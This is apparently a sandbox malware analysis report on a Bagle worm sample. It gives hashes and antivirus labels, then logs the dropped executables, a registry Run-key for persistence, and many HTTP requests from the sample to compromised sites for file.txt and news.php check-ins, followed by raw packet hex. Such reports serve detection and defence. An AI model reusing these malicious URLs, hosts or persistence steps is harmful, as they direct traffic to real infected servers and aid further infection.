Analysis Date2013-10-19 05:32:15
MD5df5b91951386429a8ac38aaa9aa29d12
SHA1526ce3d115b37b1bc39277daa706778b47e4095a

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section1 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
Section1 md5: 58bb4f90e192f4d00e6fe7c4933cd83c sha1: 5701b44de0e5a89505857e973f4db9d627abe86c size: 31232
Section1 md5: 8d291af01da03f1e6a573cade690c768 sha1: 1638876aa68801465b435cb82c64851d53eb4617 size: 40960
Timestamp1970-01-01 00:00:00
PackerHide&Protect V1.0X-> SoftWar Company
PEhash34c1e591b1695bb927ac4381bb2a0a4c5c817887
AVclamavWorm.Bagle-162
AVmsseWorm:Win32/Bagle.gen!C
AVavgI-Worm/Bagle.BBB
AVaviraTR/Bagle.Gen.B

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FilePIPE\wkssvc
Creates FileC:\WINDOWS\mdelk.exe
Creates FileC:\WINDOWS\wintems.exe
Creates Process"C:\WINDOWS\mdelk.exe" -upd
Creates ProcessC:\WINDOWS\wintems.exe

Process
↳ "C:\WINDOWS\mdelk.exe" -upd

Process
↳ C:\WINDOWS\wintems.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\SOFTWARE\DateTime4\uid ➝
82872599
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
RegistryHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\german.exe ➝
C:\WINDOWS\wintems.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\WINDOWS\ban_list.txt
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\WINDOWS\ban_list.txt
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutex555
Winsock DNSalainferet.com
Winsock DNSnbpl.ehost.pl
Winsock DNSwww.b-objective.com
Winsock DNSforrodesejomusical.com.br
Winsock DNSgrandprix3.toga.4players.de
Winsock DNSbazarmusic.com
Winsock DNSlabormedtl.com.br
Winsock DNSbeautywoman.sk
Winsock DNSjkindustria.com.br
Winsock DNSmanhot.com.br
Winsock DNSbatory.home.pl
Winsock DNSnovitacolori.it
Winsock DNSpulchralab.com
Winsock DNSbarry.triode.net.au
Winsock DNSpilchas.com
Winsock DNSbassanoromano.altervista.org
Winsock DNSsd-flv.si
Winsock DNS76.65.201.147
Winsock DNSwww.hor08.montownia.com
Winsock DNSpromotorabegamp.com
Winsock DNSbayonpearnik.com
Winsock DNSbeachrugbyfestival.com
Winsock DNSwww.awori.net
Winsock DNSconqueingredientes.com
Winsock DNSwww.climatgestion.ch
Winsock DNSjmonnet.idoo.com
Winsock DNSbase-online.hu
Winsock DNSwww.actual-questions.com
Winsock DNSalexize.it
Winsock DNSwww.arsacperu.com
Winsock DNSgenckitap.com
Winsock DNScommunik.com.br
Winsock DNSwww.arbi.it
Winsock DNSbanyuls.dk
Winsock DNSkmrsystem.com
Winsock DNSwww.videowerbung-straubing.de
Winsock DNSalicialopez.es
Winsock DNS239.co.kr
Winsock DNSpisa.ateneostudenti.it
Winsock DNSbeetpop.nl
Winsock DNSwww.pares.rs
Winsock DNSbeerleplanet.be.funpic.de
Winsock DNSnbo.co.il
Winsock DNSwww.kfzbuch.de
Winsock DNSinstituto-athenea.com.ar
Winsock DNSwww.vidolutavla.com
Winsock DNSbehappybuffet.com.br
Winsock DNSbebelectronics.com
Winsock DNSgemini.si
Winsock DNShisardut2.com
Winsock DNSwww.emilgiochi.it
Winsock DNSusa-man.com
Winsock DNSwww.beaupersonalstyling.be
Winsock DNSbelgabootlegs.be
Winsock DNSbarisguvenlik.com
Winsock DNSiltuoadesivo.it
Winsock DNSwww.300-meter.de
Winsock DNSbellitalia.dk
Winsock DNSpro-visioner.info
Winsock DNSneurostress.com.ar
Winsock DNSbblog.altervista.org
Winsock DNSbeeinside.com
Winsock DNSbalancedintelligence.com
Winsock DNSwww.twqo.org
Winsock DNSbaptistellanet.t5.com.br
Winsock DNSpetitlac.ch
Winsock DNSnickolaus.piranho.de

Network Details:

DNSgoogle.com
Type: A
173.194.34.72
DNSgoogle.com
Type: A
173.194.34.71
DNSgoogle.com
Type: A
173.194.34.70
DNSgoogle.com
Type: A
173.194.34.64
DNSgoogle.com
Type: A
173.194.34.66
DNSgoogle.com
Type: A
173.194.34.69
DNSgoogle.com
Type: A
173.194.34.68
DNSgoogle.com
Type: A
173.194.34.65
DNSgoogle.com
Type: A
173.194.34.73
DNSgoogle.com
Type: A
173.194.34.78
DNSgoogle.com
Type: A
173.194.34.67
DNSturnstylesticketing.com
Type: A
184.154.160.15
DNSwww.belteh.ru
Type: A
195.24.71.31
DNSbalancedintelligence.com
Type: A
216.119.130.2
DNSbibliovaldinon.it
Type: A
141.8.224.25
DNSbanyuls.dk
Type: A
46.30.211.52
DNSbici-shop.com
Type: A
109.168.109.226
DNSbaptistellanet.t5.com.br
Type: A
201.33.17.116
DNSbarisguvenlik.com
Type: A
85.159.66.6
DNSpoempoem.com
Type: A
202.131.25.49
DNSbarjos.be
Type: A
46.30.211.55
DNSbarry.triode.net.au
Type: A
103.28.131.71
DNSbillard-88.ch
Type: A
217.26.54.21
DNSbassanoromano.altervista.org
Type: A
178.63.42.76
DNSbatory.home.pl
Type: A
79.96.142.247
DNSbayonpearnik.com
Type: A
208.113.240.131
DNSbblog.altervista.org
Type: A
176.9.140.73
DNSbeachrugbyfestival.com
Type: A
213.186.33.5
DNSanimagic.gr
Type: A
69.43.161.179
DNSwww.beaupersonalstyling.be
Type: A
193.239.210.222
DNSbeautywoman.sk
Type: A
37.9.168.27
DNSneveryonnzz.ws
Type: A
64.70.19.198
DNSbebelectronics.com
Type: A
69.43.161.170
DNSbeeinside.com
Type: A
195.39.107.1
DNSserver49.funpic.de
Type: A
213.202.225.48
DNSbinka.pl
Type: A
69.43.161.179
DNSbiomorphdesk.com
Type: A
96.126.107.62
DNSbehappybuffet.com.br
Type: A
76.164.202.170
DNSbelgabootlegs.be
Type: A
213.186.33.4
DNSbellitalia.dk
Type: A
46.30.211.53
DNSbiorem.it
Type: A
69.43.161.179
DNSwww.kfzbuch.de
Type: A
188.40.3.126
DNSvidolutavla.com
Type: A
184.168.221.17
DNSbipolarplanet.com
Type: A
66.147.244.161
DNScaligula.forum.4players.de
Type: A
194.97.51.74
DNSconqueingredientes.com
Type: A
134.0.14.32
DNSinstituto-athenea.com.ar
Type: A
66.7.198.76
DNSmontownia.com
Type: A
195.78.67.135
DNS70182.cname.ndoverdrive.com
Type: A
209.222.14.3
DNSjmonnet.idoo.com
Type: A
82.98.86.162
DNScasaaurelia.com
Type: A
93.174.5.224
DNSmanhot.com.br
Type: A
189.38.80.81
DNSnord-band.com
Type: A
91.185.210.122
DNSteixeiramultimarcas.com.br
Type: A
189.38.90.137
DNS239.co.kr
Type: A
183.101.52.43
DNSwww.nepalsrl-italy.com
Type: A
69.43.161.179
DNSwebe.sininfo.it
Type: A
95.110.160.149
DNSservizialcittadino.it
Type: A
81.31.149.37
DNSalicialopez.es
Type: A
87.98.230.47
DNSartstol.com.pl
Type: A
195.78.67.135
DNSgenckitap.com
Type: A
68.178.232.100
DNSchansondecirconstance.com
Type: A
213.186.33.16
DNSemilgiochi.it
Type: A
195.110.124.133
DNShortomondego.pt
Type: A
82.102.4.228
DNSwww.climatgestion.ch
Type: A
80.80.228.32
DNSplanetinternet.com.br
Type: A
187.1.133.49
DNSsd-flv.si
Type: A
146.247.24.72
DNSgemini.si
Type: A
91.185.210.122
DNSwww.jcpsrl.it
Type: A
62.149.128.40
DNSkmrsystem.com
Type: A
85.128.136.73
DNSduba.ru
Type: A
188.93.212.32
DNSelaine.piranho.net
Type: A
178.63.171.37
DNSpulchralab.com
Type: A
46.28.4.49
DNSwww.tuttoelezioni.net
Type: A
69.43.161.167
DNSpilchas.com
Type: A
107.20.206.69
DNSlajuve.org
Type: A
82.165.248.234
DNSnbpl.ehost.pl
Type: A
193.143.77.20
DNSidgrafic.com
Type: A
216.38.198.78
DNSwww.videowerbung-straubing.de
Type: A
141.8.224.48
DNSviacardmg.com.br
Type: A
65.254.33.98
DNSjkindustria.com.br
Type: A
187.1.136.35
DNSmontownia.com
Type: A
195.78.67.135
DNSwww.bmblawfirm.com
Type: A
DNSforrodesejomusical.com.br
Type: A
DNSbigdarchiv.de
Type: A
DNSBIGDAYBREAKER.com
Type: A
DNSbase-online.hu
Type: A
DNSbazarmusic.com
Type: A
DNSbeerleplanet.be.funpic.de
Type: A
DNSbingolandia.org
Type: A
DNSbeetpop.nl
Type: A
DNSbionysos.org
Type: A
DNSwww.vidolutavla.com
Type: A
DNSgrandprix3.toga.4players.de
Type: A
DNSfmchamical.com
Type: A
DNSwww.demoshop.montownia.com
Type: A
DNSalainferet.com
Type: A
DNSwww.actual-questions.com
Type: A
DNScentrolinguesas.it
Type: A
DNSwww.pares.rs
Type: A
DNSsolmirar.com
Type: A
DNSwww.mcpp.com.br
Type: A
DNSwww.arbi.it
Type: A
DNSwww.artstol.com.pl
Type: A
DNScommunik.com.br
Type: A
DNSpro-visioner.info
Type: A
DNSpromotorabegamp.com
Type: A
DNSwww.emilgiochi.it
Type: A
DNSwww.300-meter.de
Type: A
DNSnickolaus.piranho.de
Type: A
DNSneurostress.com.ar
Type: A
DNSwww.b-objective.com
Type: A
DNSiltuoadesivo.it
Type: A
DNSwww.arsacperu.com
Type: A
DNShisardut2.com
Type: A
DNSwww.awori.net
Type: A
DNSwww.viacardmg.com.br
Type: A
DNSwww.hor08.montownia.com
Type: A
DNSferienwohnung-ll.de
Type: A
DNSusa-man.com
Type: A
DNSwww.yaasin.org
Type: A
HTTP GEThttp://turnstylesticketing.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.belteh.ru/images/ludi/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://balancedintelligence.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://bibliovaldinon.it/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://banyuls.dk/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://bici-shop.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://baptistellanet.t5.com.br/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://poempoem.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://barisguvenlik.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://barjos.be/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://barry.triode.net.au/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://billard-88.ch/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://bassanoromano.altervista.org/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://batory.home.pl/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://bayonpearnik.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://bblog.altervista.org/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://beachrugbyfestival.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://animagic.gr/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.beaupersonalstyling.be/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://beautywoman.sk/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://neveryonnzz.ws/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://bebelectronics.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://beeinside.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://beerleplanet.be.funpic.de/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://binka.pl/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://biomorphdesk.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://behappybuffet.com.br/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://belgabootlegs.be/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://bellitalia.dk/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://biorem.it/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.kfzbuch.de/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.vidolutavla.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://bipolarplanet.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://grandprix3.toga.4players.de/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://conqueingredientes.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://instituto-athenea.com.ar/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.demoshop.montownia.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.actual-questions.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://jmonnet.idoo.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://casaaurelia.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://manhot.com.br/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://nord-band.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://teixeiramultimarcas.com.br/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://239.co.kr/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.nepalsrl-italy.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.arbi.it/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://servizialcittadino.it/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://alicialopez.es/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.artstol.com.pl/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://genckitap.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://chansondecirconstance.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.emilgiochi.it/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://hortomondego.pt/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.climatgestion.ch/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://planetinternet.com.br/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://sd-flv.si/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://gemini.si/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.jcpsrl.it/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://kmrsystem.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://duba.ru/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://nickolaus.piranho.de/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://pulchralab.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.tuttoelezioni.net/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://pilchas.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://lajuve.org/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://nbpl.ehost.pl/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://idgrafic.com/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://www.videowerbung-straubing.de/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.viacardmg.com.br/images/file.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP GEThttp://jkindustria.com.br/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://www.hor08.montownia.com/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
HTTP GEThttp://76.65.201.147/images/news.php?p=17555&id=828725994&e=4391336
User-Agent: Internet Exploder
Flows TCP192.168.1.1:1031 ➝ 173.194.34.72:80
Flows TCP192.168.1.1:1032 ➝ 184.154.160.15:80
Flows TCP192.168.1.1:1034 ➝ 195.24.71.31:80
Flows TCP192.168.1.1:1035 ➝ 216.119.130.2:80
Flows TCP192.168.1.1:1036 ➝ 141.8.224.25:80
Flows TCP192.168.1.1:1037 ➝ 46.30.211.52:80
Flows TCP192.168.1.1:1038 ➝ 109.168.109.226:80
Flows TCP192.168.1.1:1039 ➝ 201.33.17.116:80
Flows TCP192.168.1.1:1040 ➝ 85.159.66.6:80
Flows TCP192.168.1.1:1041 ➝ 202.131.25.49:80
Flows TCP192.168.1.1:1042 ➝ 46.30.211.55:80
Flows TCP192.168.1.1:1043 ➝ 103.28.131.71:80
Flows TCP192.168.1.1:1044 ➝ 217.26.54.21:80
Flows TCP192.168.1.1:1045 ➝ 178.63.42.76:80
Flows TCP192.168.1.1:1046 ➝ 79.96.142.247:80
Flows TCP192.168.1.1:1047 ➝ 208.113.240.131:80
Flows TCP192.168.1.1:1048 ➝ 176.9.140.73:80
Flows TCP192.168.1.1:1049 ➝ 213.186.33.5:80
Flows TCP192.168.1.1:1050 ➝ 69.43.161.179:80
Flows TCP192.168.1.1:1051 ➝ 193.239.210.222:80
Flows TCP192.168.1.1:1052 ➝ 37.9.168.27:80
Flows TCP192.168.1.1:1053 ➝ 64.70.19.198:80
Flows TCP192.168.1.1:1054 ➝ 69.43.161.170:80
Flows TCP192.168.1.1:1055 ➝ 195.39.107.1:80
Flows TCP192.168.1.1:1056 ➝ 213.202.225.48:80
Flows TCP192.168.1.1:1057 ➝ 69.43.161.179:80
Flows TCP192.168.1.1:1058 ➝ 96.126.107.62:80
Flows TCP192.168.1.1:1059 ➝ 76.164.202.170:80
Flows TCP192.168.1.1:1060 ➝ 213.186.33.4:80
Flows TCP192.168.1.1:1061 ➝ 46.30.211.53:80
Flows TCP192.168.1.1:1062 ➝ 69.43.161.179:80
Flows TCP192.168.1.1:1063 ➝ 188.40.3.126:80
Flows TCP192.168.1.1:1064 ➝ 184.168.221.17:80
Flows TCP192.168.1.1:1065 ➝ 66.147.244.161:80
Flows TCP192.168.1.1:1066 ➝ 194.97.51.74:80
Flows TCP192.168.1.1:1067 ➝ 134.0.14.32:80
Flows TCP192.168.1.1:1068 ➝ 66.7.198.76:80
Flows TCP192.168.1.1:1069 ➝ 195.78.67.135:80
Flows TCP192.168.1.1:1070 ➝ 209.222.14.3:80
Flows TCP192.168.1.1:1071 ➝ 82.98.86.162:80
Flows TCP192.168.1.1:1072 ➝ 93.174.5.224:80
Flows TCP192.168.1.1:1073 ➝ 189.38.80.81:80
Flows TCP192.168.1.1:1074 ➝ 91.185.210.122:80
Flows TCP192.168.1.1:1075 ➝ 189.38.90.137:80
Flows TCP192.168.1.1:1076 ➝ 183.101.52.43:80
Flows TCP192.168.1.1:1077 ➝ 69.43.161.179:80
Flows TCP192.168.1.1:1078 ➝ 95.110.160.149:80
Flows TCP192.168.1.1:1079 ➝ 81.31.149.37:80
Flows TCP192.168.1.1:1080 ➝ 87.98.230.47:80
Flows TCP192.168.1.1:1081 ➝ 195.78.67.135:80
Flows TCP192.168.1.1:1082 ➝ 68.178.232.100:80
Flows TCP192.168.1.1:1083 ➝ 213.186.33.16:80
Flows TCP192.168.1.1:1084 ➝ 195.110.124.133:80
Flows TCP192.168.1.1:1085 ➝ 82.102.4.228:80
Flows TCP192.168.1.1:1086 ➝ 80.80.228.32:80
Flows TCP192.168.1.1:1087 ➝ 187.1.133.49:80
Flows TCP192.168.1.1:1088 ➝ 146.247.24.72:80
Flows TCP192.168.1.1:1089 ➝ 91.185.210.122:80
Flows TCP192.168.1.1:1090 ➝ 62.149.128.40:80
Flows TCP192.168.1.1:1091 ➝ 85.128.136.73:80
Flows TCP192.168.1.1:1092 ➝ 188.93.212.32:80
Flows TCP192.168.1.1:1093 ➝ 178.63.171.37:80
Flows TCP192.168.1.1:1094 ➝ 46.28.4.49:80
Flows TCP192.168.1.1:1095 ➝ 69.43.161.167:80
Flows TCP192.168.1.1:1096 ➝ 107.20.206.69:80
Flows TCP192.168.1.1:1097 ➝ 82.165.248.234:80
Flows TCP192.168.1.1:1098 ➝ 193.143.77.20:80
Flows TCP192.168.1.1:1099 ➝ 216.38.198.78:80
Flows TCP192.168.1.1:1100 ➝ 141.8.224.48:80
Flows TCP192.168.1.1:1101 ➝ 65.254.33.98:80
Flows TCP192.168.1.1:1102 ➝ 187.1.136.35:80
Flows TCP192.168.1.1:1103 ➝ 195.78.67.135:80
Flows TCP192.168.1.1:1104 ➝ 76.65.201.147:80

Raw Pcap
0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20747572 6e737479 6c657374   ost: turnstylest
0x00000030 (00048)   69636b65 74696e67 2e636f6d 0d0a4163   icketing.com..Ac
0x00000040 (00064)   63657074 3a202a2f 2a0d0a43 6f6e6e65   cept: */*..Conne
0x00000050 (00080)   6374696f 6e3a2063 6c6f7365 0d0a5573   ction: close..Us
0x00000060 (00096)   65722d41 67656e74 3a204d6f 7a696c6c   er-Agent: Mozill
0x00000070 (00112)   612f342e 30202863 6f6d7061 7469626c   a/4.0 (compatibl
0x00000080 (00128)   653b204d 53494520 352e303b 2057696e   e; MSIE 5.0; Win
0x00000090 (00144)   646f7773 20393829 0d0a0d0a            dows 98)....

0x00000000 (00000)   47455420 2f696d61 6765732f 6c756469   GET /images/ludi
0x00000010 (00016)   2f66696c 652e7478 74204854 54502f31   /file.txt HTTP/1
0x00000020 (00032)   2e300d0a 486f7374 3a207777 772e6265   .0..Host: www.be
0x00000030 (00048)   6c746568 2e72750d 0a416363 6570743a   lteh.ru..Accept:
0x00000040 (00064)   202a2f2a 0d0a436f 6e6e6563 74696f6e    */*..Connection
0x00000050 (00080)   3a20636c 6f73650d 0a557365 722d4167   : close..User-Ag
0x00000060 (00096)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000070 (00112)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000080 (00128)   49452035 2e303b20 57696e64 6f777320   IE 5.0; Windows 
0x00000090 (00144)   3938290d 0a0d0a29 0d0a0d0a            98)....)....

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 616c616e 63656469 6e74656c   t: balancedintel
0x00000070 (00112)   6c696765 6e63652e 636f6d0d 0a0d0a53   ligence.com....S
0x00000080 (00128)   49452035 2e303b20 57696e64 6f777320   IE 5.0; Windows 
0x00000090 (00144)   3938290d 0a0d0a29 0d0a0d0a            98)....)....

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20626962 6c696f76 616c6469   ost: bibliovaldi
0x00000030 (00048)   6e6f6e2e 69740d0a 41636365 70743a20   non.it..Accept: 
0x00000040 (00064)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000050 (00080)   20636c6f 73650d0a 55736572 2d416765    close..User-Age
0x00000060 (00096)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000070 (00112)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x00000080 (00128)   4520352e 303b2057 696e646f 77732039   E 5.0; Windows 9
0x00000090 (00144)   38290d0a 0d0a0a29 0d0a0d0a            8).....)....

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2062 616e7975 6c732e64 6b0d0a0d   t: banyuls.dk...
0x00000070 (00112)   0a636f6d 70617469 626c653b 204d5349   .compatible; MSI
0x00000080 (00128)   4520352e 303b2057 696e646f 77732039   E 5.0; Windows 9
0x00000090 (00144)   38290d0a 0d0a0a29 0d0a0d0a            8).....)....

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20626963 692d7368 6f702e63   ost: bici-shop.c
0x00000030 (00048)   6f6d0d0a 41636365 70743a20 2a2f2a0d   om..Accept: */*.
0x00000040 (00064)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x00000050 (00080)   73650d0a 55736572 2d416765 6e743a20   se..User-Agent: 
0x00000060 (00096)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000070 (00112)   70617469 626c653b 204d5349 4520352e   patible; MSIE 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a6164 3e0a2020 20203c74 69746c65   ..ad>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
